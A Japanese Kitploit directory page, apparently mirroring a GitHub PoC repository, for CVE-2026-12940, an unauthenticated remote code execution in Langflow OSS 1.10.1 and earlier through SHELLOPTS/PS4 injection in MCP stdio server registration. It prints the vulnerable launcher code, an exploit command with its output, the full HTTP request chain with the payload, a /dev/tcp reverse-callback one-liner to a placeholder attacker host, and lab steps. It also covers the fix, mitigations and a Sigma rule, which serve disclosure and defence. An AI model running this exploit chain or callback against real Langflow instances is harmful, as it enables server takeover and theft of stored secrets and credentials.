Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-12940-Langflow-Unauth-RCE — CVE-2026-12940 — Langflow OSS <=1.10.1 における、MCP stdio の環境変数インジェクション (SHELLOPTS/PS4) による未認証 RCE。作者による PoC + ソース解析 + ラボ。 | Kitploit
ツール/GitHubGitHub/biitts/cve-2026-12940-langflow-unauth-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubbiitts/cve-2026-12940-langflow-unauth-rce

CVE-2026-12940-Langflow-Unauth-RCE

CVE-2026-12940 — Langflow OSS <=1.10.1 における、MCP stdio の環境変数インジェクション (SHELLOPTS/PS4) による未認証 RCE。作者による PoC + ソース解析 + ラボ。

リポジトリを見る
41322ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-12940 — Langflow OSS ≤ 1.10.1 の未認証RCE(MCP stdio 環境変数インジェクション)

Langflow OSS 1.10.1 以前における未認証のリモートコード実行(RCE)。MCP stdio サーバー設定を保護する環境変数ブロックリスト(DANGEROUS_ENV_VARS)には、SHELLOPTS、BASHOPTS、PS4 が含まれていません。MCP stdio ランチャーが設定されたコマンドを bash -c で実行するため、攻撃者は SHELLOPTS=xtrace と PS4 のコマンド置換を注入し、Langflow プロセスのユーザーとして任意のシェルコマンドを実行できます。有効な MCP コマンドは不要で、デフォルトインストールでは認証も不要です。

CVECVE-2026-12940
製品Langflow OSS
影響を受けるバージョン1.0.0 – 1.10.1
修正バージョン1.10.2
分類環境変数インジェクションによる OS コマンドインジェクション(CWE-78)
CVSS 3.19.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(IBM CNA)
認証デフォルトインストールでは認証不要(1.10.1 では AUTO_LOGIN がデフォルトでオン)
ステータス脆弱性を確認済み — langflowai/langflow:1.10.1 でエンドツーエンドに検証

根本原因

Langflow では、ユーザーが POST /api/v2/mcp/servers/{name} 経由で外部の MCP(Model Context Protocol)stdio サーバーを登録できます。リクエストボディは MCPServerConfig(src/backend/base/langflow/api/v2/schemas.py)によって検証され、command、args、および env のキーが注意深くチェックされます:

  • command は許可リスト(node、python、npx、uvx、docker、sh、bash…)に含まれている必要があります。
  • args はシェルのメタ文字(;、|、$、`、(、)、…)と危険なキーワード(-c、eval、pip install、…)がないかスキャンされます。
  • env キーは DANGEROUS_ENV_VARS(LD_PRELOAD、PATH、NODE_OPTIONS、PYTHONPATH、BASH_ENV、…)と照合されます。

以下の 2 つのギャップが組み合わさることで RCE に至ります:

  1. env の値は決してサニタイズされません。 ブロックリストと照合されるのはキーのみで、値 はそのまま渡されます。したがって、$(id) という PS4 の値は、args 内ではまったく同じ文字が拒否されるにもかかわらず、そのまま通ってしまいます。

  2. ブロックリストは不完全です。 1.10.1 の DANGEROUS_ENV_VARS には shellopts、bashopts、ps4 が含まれていません。

ランチャー(src/lfx/src/lfx/base/mcp/util.py)は、Unix 上で次のように実行します:

env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
    command="bash",
    args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
    env=env_data,
)

SHELLOPTS=xtrace を設定すると、bash は起動時に set -x を有効にし、最初にトレースされる行を実行する前に PS4 プロンプトを展開します。したがって、PS4 内のコマンド置換は即座に実行されます。これは command/args とは独立しており、それらが有効である必要すらありません。

修正内容(1.10.2)

ブロックリストは src/lfx/src/lfx/base/mcp/util.py 内に DANGEROUS_MCP_ENV_VARS として一元化され、shellopts、bashopts、ps4(および多層防御として env)が追加されました。schemas.py は is_dangerous_mcp_env_var() を呼び出すようになりました。以下の登録は 1.10.2 では HTTP 422 で拒否されます。

概念実証(PoC)

$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4    : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user

$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)

生の HTTP チェーン:

GET /api/v1/auto_login HTTP/1.1            → 200, {"access_token":"…"}   (default install, no creds)

POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json

{"command":"uvx","args":["mcp-server-fetch"],
 "env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
                                            → 200 (accepted; LD_PRELOAD here → 422)

GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
                                            → 200, launcher spawns bash → PS4 runs `id`

--ps4 は、リバースシェル / OAST コールバック用の生のプリミティブを提供します:

python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'

ラボの再現

docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
#   (this box has no docker bridge; --network host is required)
#   Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof

修正版の境界(拒否されます):

docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS  →  HTTP 422
#   "Environment variable 'SHELLOPTS' is not allowed for security reasons"

完全なキャプチャ済みトランスクリプトは EVIDENCE.txt、ソースレベルの解説は ANALYSIS.md を参照してください。

判定

langflowai/langflow:1.10.1 で脆弱性を確認済み。2 つの独立した手法で検証されています:

  1. 出力が解決されたファイル書き込み — リクエスト前に存在しなかったファイルに、ターゲットの /etc/passwd に対して解決された id(1) の実際の出力である uid=1000(user) gid=0(root) groups=0(root) が含まれています。これは入力文字列 $(id …) のエコーではありません。

  2. 帯域外 TCP コールバック — ターゲットが実際のホスト名とカーネルを添えて攻撃者のリスナーにコールバックします(CALLBACK user@vbox 6.18.12+kali-amd64)。

langflowai/langflow:1.10.2 では修正済み — 同じ登録は HTTP 422 を返します。

未認証という主張に関する注意。 1.10.1 のイメージはデフォルトで AUTO_LOGIN が有効なため、/api/v1/auto_login は資格情報を持たない任意の呼び出し元にスーパーユーザートークンを返します。これが、デフォルト構成で全体のチェーンが未認証となる理由です。認証が強制されているインスタンスでは、有効なトークン/API キーを持つ認証済みユーザーなら誰でも同じ RCE に到達できます(--token で渡します)。1.10.2 のイメージは起動に資格情報が必要になる点が追加されており、これは無関係な堅牢化です。

影響

Langflow サービスアカウントとしての任意コマンド実行。Langflow データベース内のすべてのシークレット、資格情報、フローの完全な読み取り、内部サービスやクラウドメタデータへのアクセス、そして周囲のネットワークへのピボットが可能になります。

対策

  • Langflow OSS ≥ 1.10.2 にアップグレードする。
  • AUTO_LOGIN を有効にしたまま Langflow を信頼できないネットワークに公開しない。明示的なスーパーユーザー資格情報を設定し、自動ログインを無効にする。
  • 多層防御として、送信ネットワークアクセス(egress)を持たない制限付きアカウントでサービスを実行する。

検出

env にシェル制御変数が含まれる MCP サーバー登録と、Langflow プロセスの子である bash プロセスを探します:

POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …"  parented by the langflow/gunicorn worker

Sigma(プロセス生成):

title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
  selection:
    Image|endswith: '/bash'
    CommandLine|contains: 'exec '
    ParentImage|contains: 'langflow'
  env_marker:
    CommandLine|contains:
      - 'SHELLOPTS'
      - 'PS4=$('
  condition: selection or env_marker
level: high

ライセンス

© Caio Fabrício (BiiTts).

ツールをダウンロード